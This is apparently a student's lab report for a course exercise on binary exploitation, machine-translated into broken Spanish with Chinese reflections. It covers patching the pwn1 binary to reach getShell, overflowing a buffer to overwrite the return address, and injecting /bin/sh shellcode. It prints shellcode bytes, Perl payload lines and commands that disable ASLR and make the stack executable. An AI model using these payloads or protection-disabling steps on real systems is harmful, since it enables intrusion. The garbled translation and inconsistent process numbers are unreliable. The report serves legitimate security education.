2019-2020-2 red frente a la tecnología de plataforma Cao Yakun Exp1 PC 20175333 grieta inversa
preparación Experimental
Configurar las carpetas compartidas, está listo
Las
pwn1
carpetas propagan al compartir archivos en kaliSerá
pwn1
copiar los archivos a su directorio, y respaldadoEntrada de
apt-get install lib32z1
los comandos de programa de 32 bits de 64 bits puede ejecutar kalipracticar lo
Tarea uno: modificar manualmente el archivo ejecutable, cambiando el flujo de la ejecución del programa, saltar directamente a la función getShell.
Tarea 2: Uso de la función foo vulnerabilidad Bof, una cadena de entrada atacante construcción, sobrescribir la dirección de retorno, el gatillo función getShell.
Tarea tres: inyectar un código shell para producir su propia y ejecutar este código shellA instrucciones de máquina tarea modifican directamente el programa, cambiar el flujo de la ejecución del programa
- Mediante la modificación de la dirección cuando el salto de instrucciones principal llamada a la función, sería saltar a la función foo, una función de salto para getshell para ejecutar la función getshell
1. El orden de entrada objdump -d pwn1 | more
desmontaje pwn1
archivo.
Por el desmontaje, se puede observar a partir de la función principal call 804891<foo>
, que es el código de la máquina e8 d7 ff ff ff
en la que las direcciones para la función foo 08048491
, la función de dirección de getshell es 0804847d
para calcular la relación correspondiente
0x08048491 - 0x0804847d = 0x00000014 //计算地址差
0xffffffd7 - 0x00000014 = 0xffffffc3 //计算要修改的目标地址
Modificar las instrucciones de máquina PWN puede llamar a editar archivo pwn2 getShell (copias pwn1) directamente al modo hexadecimal / e8d7
2. Introduzca el comando vi pwn1
para abrir un archivo, el archivo aparece en formato ASCII
3. Introduzca :%!xxd
llamando a la línea de comandos, convierte el archivo a la vista hexadecimal
4. Utilice el /e8d7
comando para encontrar e8d7ffffff
la ubicación en las instrucciones de la máquina, no encontraron tiempo cambió /d7
, para encontrar la ubicación, e8 d7
los espacios intermedios
5. hallazgo, el modo de inserción, para modificar c3 d7
6. Introduzca :%!xxd -r
Convertir archivos a los códigos ASCII, escriba: wq para guardar y salir
7. A continuación, introduzca el comando de objdump -d pwn1 | more
vista, se puede encontrar pwn2
el archivo ha sido modificado
8. Ejecutar el pwn1
archivo y el pwn2
archivo ( pwn1
el archivo es el archivo original, pwn2
el archivo es modificado), los resultados operativos se pueden encontrar en los dos documentos son diferentes.
9. Copia de seguridadpwn1
Tarea dos mediante la construcción de los parámetros de entrada, resultando en BOF ataque, cambiando el flujo del programa
pwn1
El funcionamiento normal es llamar a una función foo, pero esta función tiene vulnerabilidades de desbordamiento de búfer. Al leer una cadena, el sistema sólo byte de juego de tampones lado una cierta cantidad, el exceso causará desbordamiento, nuestro objetivo es sobreescribir la dirección de retorno para que el siguiente salto a la función deseada
1. Uso gdb pwn3
, entró en la puesta en marcha interfaz, de entrada r
más tarde puede introducir el código, iniciar la confirmación para sobreescribir la dirección de retorno del programa después de cómo entran muchas cuerdas. Para tratar de introducir una cadena larga,1111111122222222333333334444444455555555
2. Uso de nuevo info r
ver registran los datos actuales, que se encuentra (registro de direcciones de memoria para almacenar la siguiente instrucción) el registro EIP está 0x35353535
cubierto, esto indica que la dirección de retorno de la corriente es de cuatro '5', y es EBP 0x34343434
campo sobrescribe , por lo que el tamaño del búfer es la descripción 28 bytes (la entrada de datos de un total de 40 bytes, 4 bytes de '4' a EBP cubierta, mientras que el 4-byte '5' EIP cubierto. presumiblemente almacenado dentro de la memoria intermedia 28 bytes).
Depuración de nuevo, esta vez la cadena de entrada 1111111122222222333333334444444412345678
, encontró que "1234" va a sobrescribir registro EIP, y la manera de derecha a izquierda.
Cuando el registro es de acuerdo con la pantalla que se muestra en hexadecimal de alto a bajo, es necesario leer de derecha a izquierda por una unidad de dos números. La siguiente operación hará que esta zona se convierta en lo que necesitamos para lograr el salto para ejecutar el código getShell lugar, por lo que necesitamos para entrar 11111111222222223333333344444444\x7d\x84\x04\x08\x0a
(\ x0a representa un retorno de carro)
3. La cadena de la construcción
4. La entrada se introduce entonces a través del conducto carácter "|", como entrada pwn3.
La tercera tarea inyectar y ejecutar Shellcode
1. Prepárese para una Shellcode
el código shell es una pieza de instrucciones de la máquina (código)
de propósito general de esta instrucción de máquina es conseguir una shell interactiva (como una concha o una ventana similares Linux es cmd.exe), por lo que este se llama instrucciones de la máquina para el código shell. En las aplicaciones prácticas, por lo general para la inyección de la máquina de las instrucciones que se conoce como el código shell, como la adición de un usuario, una instrucción a ejecutar.
Los experimentos con Shellcode \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
,
2. Preparación
root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
0
Cuando se utiliza un comando no válido apt-get install prelink
para instalar
la suficiente autoridad al usar sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
sudo no admite la redirección
carga útil 3. estructura para ser utilizado
- Existen dos métodos básicos de buf ataque configurado para Linux: retaddr ya que la posición de la memoria intermedia es fijo, el código shell, ya sea en frente de ella, o detrás de él.
+ + NOP el código shell RetAddr
NOP + + RetAddr el código shell - En pocas palabras código shell puesto detrás de un buffer pequeño, un gran código shell búfer tuvo lugar frente.
No voy a decir, como debería hacer el mal varias veces, las instrucciones experimentales, bien hecho
4. Busque nop + + código shell retaddr esta manera después de leer algunos de los problemas en las instrucciones experimentales de la maestra. Así seleccionado código de ataque nada retaddr + + + código shell NOP construido de esta manera.
En primer lugar, mediante un comando de edición cadena hexadecimal Perl una configuración, un archivo se escribe en input_shellcode utilizado como una ejecución de archivo de entrada. En esta cadena, al final de la \ x4 \ x3 \ x2 \ x1 para sobreescribir la dirección de retorno en la pila.
No prestar atención al último carácter se establece en \ x0a, si no afectará a las operaciones subsiguientes.
perl -e 'print "\ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x31 \ xc0 \ x50 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ XE3 \ x50 \ x53 \ x89 \ xe1 \ x31 \ xd2 \ xb0 \ x0b \ XCD \ x80 \ x90 \ x4 \ x3 \ x2 \ x1 \ x00 " '> input_shellcode
luego implantado en el terminal de este ataque sección buf (input_shellcode gato, gato) | ./pwn1
Después de la entrada, para mover un retorno de carro después de golpear, inmediatamente abrir un nuevo terminal.
Ver el nuevo proceso de programa de terminal, introduzca el código ps -ef | grep pwn1 obtener el número de proceso 4617.
De entrada en la interfaz de depurador GDB y, a continuación, introduzca adjuntar 48617
A continuación, el comando de entrada desmontar foo, a la función foo desmontaje.
A continuación, establecer puntos de interrupción, vista inyectar dirección de memoria buf, la ruptura de instrucciones * 0x080484ae
después de ir hacia atrás hasta el principio de la terminal del manual de entrar en él, y luego de vuelta a la depuración del terminal, introduzca el comando C continua.
A continuación, la entrada de información de comandos esp r, ver la ubicación de puntero de pila y ver los datos almacenados en el cambio de dirección.
\ X4 \ x3 \ x2 \ x1 aparecer en la parte superior de la pila, que es la dirección de retorno de la ubicación.
shellcode A continuación, el cálculo de la dirección: 0xffffd36c + 4 = 0xffffd370.
Reconstruir la perl -e 'print "A" x 32;print "\xe0\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
entrada al programa(cat input_shellcode;cat) | ./pwn1
no tiene éxito, hay algunas dudas.
Experimentos sentimientos y cosecha
本次实验主要内容是缓冲区溢出攻击,这种攻击方法是计算机安全领域内既经典而又古老的话题,那么所谓缓冲区可以更抽象地理解为一段可读写的内存区域,缓冲区攻击的最终目的就是希望系统能执行这块可读写内存中已经被设定好的恶意代码,也是利用了冯·诺依曼存储程序原理展开的。
这次实验我做了很多遍,第一次做的时候,很多知识都没法理解,只是跟着实验指导盲目地输入代码,对很多假设和数据尝试都没有亲自去计算去思考,任务三更是让人费解,重做了很多次都是段错误,一步一步地照着实验指导书做完还是不成功,我觉得有时候放弃也是一种选择
Consideraciones sobre la
¿Cuál es la vulnerabilidad? La vulnerabilidad ¿Cuál es el problema?
La vulnerabilidad está presente en el sistema o implementar políticas de seguridad fallas en el hardware, el software, los acuerdos específicos, lo que puede permitir a un atacante acceder al sistema en caso de destrucción o no autorizado. En seguridad informática, una vulnerabilidad puede entenderse como una debilidad, que puede ser una amenaza, como un atacante aprovechar la vulnerabilidad para realizar acciones no autorizadas en un sistema informático.
Vulnerabilidad a las amenazas: tampón de escritura desde un ordenador externo, puede permitir a un atacante para sobrescribir el contenido de los bloques de memoria adyacentes, dando lugar a la corrupción de datos, los accidentes, o incluso ejecutar cualquier código malicioso. Pequeño ordenador personal, grandes sistemas informáticos para la seguridad nacional, las vulnerabilidades daño puede ser devastador.